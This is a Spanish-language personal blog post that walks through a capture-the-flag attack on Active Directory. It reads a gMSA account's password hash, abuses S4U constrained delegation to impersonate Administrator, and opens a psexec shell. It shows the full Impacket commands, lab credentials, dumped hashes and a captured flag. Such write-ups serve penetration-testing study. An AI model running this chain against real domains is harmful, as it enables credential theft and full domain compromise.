Grunt's personal blog

this is my personal blog for my hacking stuff, my degree stuff, etc

View on GitHub

GMSA abusing and s4u delegation attack [ReadGMSAPassword] + [AllowedToDelegate]

Descripción del ataque

Este ataque aprovecha dos permisos clave para comprometer un entorno de Active Directory mediante una cuenta de servicio administrada de grupo (gMSA):

  1. ReadGMSAPassword: Este permiso permite leer la contraseña Kerberos asociada a la cuenta gMSA. Utilizando herramientas como gMSADumper.py, se extrae el hash NTLM de la cuenta de servicio, lo que proporciona acceso inicial para realizar operaciones en su contexto.

  2. AllowedToDelegate: Este permiso habilita la delegación de credenciales, lo que permite a la cuenta gMSA actuar en nombre de otros usuarios. Combinando los ataques S4U2Self y S4U2Proxy, es posible generar un Ticket de Servicio (ST) para un SPN arbitrario (por ejemplo, cifs/dc.intelligence.htb) e impersonar a un usuario privilegiado como Administrator.

El resultado final es el acceso a recursos protegidos o sistemas críticos, explotando la configuración indebida de permisos en la cuenta gMSA.

Objetivo y ejemplo de uso en un CTF


Diagrama del ataque


Herramientas utilizadas


Pasos del ataque

  1. Ejecutar gMSADumper.py para extraer el hash NTLM de la cuenta svc_int$:
      python3 gMSADumper.py -u 'TED.GRAVES' -p 'Mr.Teddy' -d 'intelligence.htb'
    

    Resultado:

      svc_int$:::b05dfb2636385604c6d36b0ca61e35cb
    
  2. Utilizar getTGT.py para obtener un TGT usando el hash NTLM de svc_int$:
      getTGT.py 'INTELLIGENCE.HTB/svc_int$' -hashes :b05dfb2636385604c6d36b0ca61e35cb
      export KRB5CCNAME=/home/kali/svc_int$.ccache
    
  3. Impersonar al usuario Administrator con getST.py:
      getST.py -spn WWW/dc.intelligence.htb -impersonate Administrator intelligence.htb/svc_int$ -hashes :b05dfb2636385604c6d36b0ca61e35cb
    

    Resultado:

      [*] Requesting S4U2Proxy
      [*] Saving ticket in Administrator@[email protected]
    
  4. Exportar el nuevo ticket:
      export KRB5CCNAME=Administrator@[email protected]
    
  5. Conectarse al sistema objetivo con psexec.py:
      psexec.py -k -no-pass INTELLIGENCE.HTB/[email protected]
    

    Ejemplo de salida:

      Microsoft Windows [Version 10.0.17763.1879]
      (c) 2018 Microsoft Corporation. All rights reserved.
    
      C:\Windows\system32> type c:\Users\Administrator\Desktop\root.txt
      1375c5a7e7b13d7d9e063dd4629cb806
    

Versión en powershell


Calculating hashes for Old Value
[*] Input username             : svc_apache$
[*] Input domain               : HEIST.OFFSEC
[*] Salt                       : HEIST.OFFSECsvc_apache$
[*]       rc4_hmac             : 618DE65B979E02BA8D4118394450BA41
[*]       aes128_cts_hmac_sha1 : ED920AFCE973A7275C2E704311A13B02
[*]       aes256_cts_hmac_sha1 : 014BB8032BF1D4041F63B63BABD2065A425849953F0DC216643E0758C575BED9
[*]       des_cbc_md5          : 2A40AB6BAD9201B0

Calculating hashes for Current Value
[*] Input username             : svc_apache$
[*] Input domain               : HEIST.OFFSEC
[*] Salt                       : HEIST.OFFSECsvc_apache$
[*]       rc4_hmac             : 007A95BE1BE6ED38DEB848A388655B05
[*]       aes128_cts_hmac_sha1 : 92627F30F3BAEFD4BCE8E6CC6BF2C601
[*]       aes256_cts_hmac_sha1 : 203AA540B041FE0E2D6718A3FCCB11DAE2EA659B6844C3B324DEEBEF52E10FBD
[*]       des_cbc_md5          : BAC21A8F5D1576C2


Referencias

ReadGMSAPassword

AllowedToDelegate